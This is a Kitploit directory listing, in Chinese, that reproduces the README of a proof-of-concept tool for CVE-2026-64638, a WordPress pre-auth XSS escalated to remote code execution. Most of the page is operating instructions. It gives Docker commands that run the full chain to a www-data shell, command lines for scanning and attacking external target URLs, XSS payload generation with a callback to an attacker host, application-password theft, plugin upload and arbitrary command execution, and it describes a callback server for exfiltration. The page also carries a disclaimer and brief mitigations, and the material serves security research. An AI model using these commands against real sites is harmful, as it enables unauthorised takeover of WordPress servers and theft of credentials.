Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-64638-POC — CVE-2026-64638:WordPress 认证前 XSS → RCE (XSS2Shell) PoC | Kitploit
工具/GitHubGitHub/imbas007/cve-2026-64638-poc
Web漏洞扫描器Payload生成漏洞利用Web应用程序漏洞利用信息收集渗透测试红队
GitHubimbas007/cve-2026-64638-poc

CVE-2026-64638-POC

CVE-2026-64638:WordPress 认证前 XSS → RCE (XSS2Shell) PoC

查看仓库
92101个月前尚未审核
网站

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-64638 — XSS2Shell

预认证反射型 XSS → WordPress 核心远程代码执行

License WordPress CVE

⚠️ 免责声明: 本仓库仅用于授权的安全研究和教育目的。请勿对非您所有或未经您明确书面许可的系统进行测试。未经授权的访问属于违法行为。请参阅 SECURITY.md。


概述

CVE-2026-64638 是 WordPress 核心登录/wplogin 处理流程中的一个预认证反射型 XSS 漏洞。该缺陷源于解析器差异:精心构造的恶意输入能够绕过 PHP 的 strip_tags(),随后又被 wp_kses_post() 重新构造成 HTML,使得攻击者控制的标记得以进入 DOM。

pwn.ai 的研究人员演示了 XSS2Shell——一条攻击链,当经过身份验证的管理员与攻击者控制的内容交互时,可将此 XSS 升级为默认 WordPress 安装上的完整 PHP 代码执行。

属性值
CVECVE-2026-64638
CVSS8.9
类型反射型 XSS → RCE 攻击链
组件WordPress 核心登录页面
受影响版本WordPress < 7.0.3(回溯至 4.7)
已修复版本WordPress 7.0.3(2026 年 8 月 6 日)
根本原因解析器差异:strip_tags() 与 wp_kses_post()

快速开始(Docker)

root@kitploit:~
git clone https://github.com/<your>/CVE-2026-64638-POC.git
cd CVE-2026-64638-POC

# One command — spin up vulnerable WordPress 7.0.2 + run full chain
./test.sh up
./test.sh chain

执行流程:

root@kitploit:~
[STAGE 1] WordPress 7.0.2 → VULNERABLE
[STAGE 2] XSS payload URL generated
[STAGE 3] Application Password created
[STAGE 4] Plugin uploaded + activated
[STAGE 5] RCE → uid=33(www-data)

所有命令

root@kitploit:~
./test.sh up         # Start Docker + install WordPress (admin/admin123)
./test.sh scan       # Detect version & patch status
./test.sh chain      # Run full XSS2Shell RCE chain
./test.sh all        # up + scan + chain (all-in-one)
./test.sh down       # Stop containers
./test.sh clean      # Stop + remove all volumes

# Or with Make
make up              # Start Docker
make install         # Install WordPress
make scan            # Check vulnerability
make gen-xss         # Generate XSS payload URL
make test-chain      # Full RCE chain
make serve           # Start callback server on :8080
make down            # Stop containers

仓库结构

root@kitploit:~
CVE-2026-64638-POC/
├── README.md
├── SECURITY.md              # Security policy & disclaimer
├── docker-compose.yml        # WordPress 7.0.2 + MySQL 8 + WP-CLI
├── Makefile                  # Shortcut commands
├── test.sh                   # Automated test suite
├── requirements.txt          # Python dependencies
│
├── xss2shell_chain.py       # [MAIN] Full chain: scan → XSS → app-password → plugin → RCE
├── xss2shell_scanner.py     # Version detection + username reflection test
├── xss2shell_checker.py     # Lightweight patch checker (safe, non-exploitative)
├── exploit_server.py        # Callback server for XSS exfiltration
├── xss_payload.html         # Interactive XSS PoC (browser)
│
└── docs/
    ├── CHAIN.md             # Technical breakdown of all 7 chain stages
    ├── MITIGATION.md        # Defensive guidance + detection rules
    └── PAYLOAD_NOTES.md     # Notes on the CVE-specific bypass payload

手动使用(外部目标)

root@kitploit:~
python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt

# Scan target
python3 xss2shell_chain.py scan -u https://target.example.com

# Generate XSS payload
python3 xss2shell_chain.py gen-xss -u https://target.example.com -c http://your-ip:8080

# Full chain (requires WordPress admin credentials)
python3 xss2shell_chain.py chain \
    -u https://target.example.com \
    --user admin --pass "password" \
    --cmd "id"

# Individual stages
python3 xss2shell_chain.py stage-apppass -u URL --user U --pass P
python3 xss2shell_chain.py stage-plugin -u URL --apppass "PASS"
python3 xss2shell_chain.py stage-rce -u URL --cmd "whoami"

XSS2Shell 攻击链

完整细节请参阅 docs/CHAIN.md。

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│  1. Reflected XSS on wp-login.php (failed-login error page)    │
│  2. DOM clobbering to manipulate page context                   │
│  3. JSONP / Same-Origin Method Execution (SOME)                 │
│  4. Application Password creation via REST API                  │
│  5. REST API access with stolen Application Password            │
│  6. Malicious plugin/theme upload                               │
│  7. PHP code execution → full RCE                               │
└─────────────────────────────────────────────────────────────────┘

注意: 第 3-7 阶段需要已登录的管理员与 XSS 载荷交互。该漏洞为预认证漏洞,但完整的 RCE 攻击链需要管理员级别的访问权限才能完成。


缓解措施

  1. 立即将 WordPress 更新至 7.0.3 或更高版本
  2. 启用自动后台更新
  3. 审计应用程序密码(用户 → 个人资料)
  4. 审查日志中可疑的登录失败用户名
  5. 监控插件/主题上传活动

详细的加固和检测规则请参阅 docs/MITIGATION.md。


参考资料

  • WordPress 7.0.3 安全版本
  • pwn.ai XSS2Shell 博客
  • pwn.ai SOME/CSP 绕过分析
  • The Hacker News 报道
  • The CyberSec Guru 文章
  • CVE 记录

作者

安全研究与 PoC。仅供教育用途。

许可证

MIT — 请参阅 LICENSE

下载工具